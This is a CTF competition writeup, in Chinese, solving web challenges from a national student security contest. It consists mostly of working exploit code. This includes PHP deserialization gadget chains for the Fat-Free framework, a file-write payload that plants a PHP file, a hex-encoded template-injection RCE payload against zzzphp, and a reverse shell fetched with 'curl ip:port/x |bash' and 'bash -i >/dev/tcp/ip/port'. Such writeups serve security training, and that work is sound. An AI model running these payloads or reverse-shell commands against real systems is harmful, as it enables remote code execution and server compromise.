0%

第十三届全国大学生信息安全竞赛初赛Writeup

WEB

babyunserialize

扫目录拿源码

image-20200824112713676

wmctf2020 webweb的原题,直接用exp打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}


namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"call_user_func"],
$adhoc=["phpinfo"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected $server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;



}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}

y1ng师傅是全局搜索__destruct(),在jig.php发现了任意写,于是直接gethell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
namespace DB;
class Jig {
const
FORMAT_JSON=0,
FORMAT_Serialized=1;

protected
//! Storage location
$dir = '/var/www/html/',
//! Current storage format
$format = self::FORMAT_JSON,
//! Jig log
$data = array("info.php"=>array("a"=>"<?php phpinfo();?>")),
//! lazy load/save files
$lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));

easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

php多进程,主进程会等待子进程运行结束,子进程异常退出会触发phpinfo()
直接拿php函数列表fuzz。

easyphp

以上函数均可导致子进程异常退出,随便找一个即可。

payload:

1
?a=fsockopen&b=123

本来想自己fuzz一下的,但环境没了。

easytrick

要求两个变量长度不能超过5,但md5的值又要相同,而且强弱比较也不能相同

考脑洞

利用php预定义常量绕过

比如 M_PI,M_E ,INF,M_LN2

image-20200821142717774

1
2
3
4
5
6
<?php
class trick{
public $trick1=INF;
public $trick2=INF;
}
echo urlencode(serialize(new trick()) );
1
2
3

trick=O%3A5%3A%22trick%22%3A2%3A%7Bs%3A6%3A%22trick1%22%3Bd%3AINF%3Bs%3A6%3A%22t
rick2%22%3Bd%3AINF%3B%7D

littlegame

/DeveloperControlPanel路由中发现

if(Admin[key] === password) 才能得到flag

/Privilege下,利用setFn设置值

image-20200821144143013

然后找了下set-value的漏洞,发现一个原型链污染

image-20200821143721692

而3.0.0 正好收到影响

image-20200820173333614

image-20200820173350849

rceme

rceme

zzzphp的一个命令执行的漏洞,但danger_key() 增加了一个htmlspecialchars()函数导致原本的payload失效

image-20200821144836357

1
2
3
4
5
6
1. 正则过滤绕过:
很容易看懂,格式为{if:payload}{end if},可利用的地方在payload处。
2. 字符串过滤绕过:
hex2bin(dechex(xxx)).hex2bin(dechex(xxx))
3. 拼接字符串执行命令
简单来说就是闭合if语句。

根据之前的题目,直接构造phpinfo

1
a={if:1)(hex2bin(dechex(112)).hex2bin(dechex(104)).hex2bin(dechex(112)).hex2bin(dechex(105)).hex2bin(dechex(110)).hex2bin(dechex(102)).hex2bin(dechex(111)))();die();//}{end%20if}

也有师傅用反引号绕过

起一个http服务器,写入反弹shell命令。

1
bash -c 'bash -i >/dev/tcp/ip/port 0>&1'

反弹shell

1
/?a={if:`curl ip:port/x |bash`}{end+if}

image-20200824154556091

-------------本文结束感谢您的阅读-------------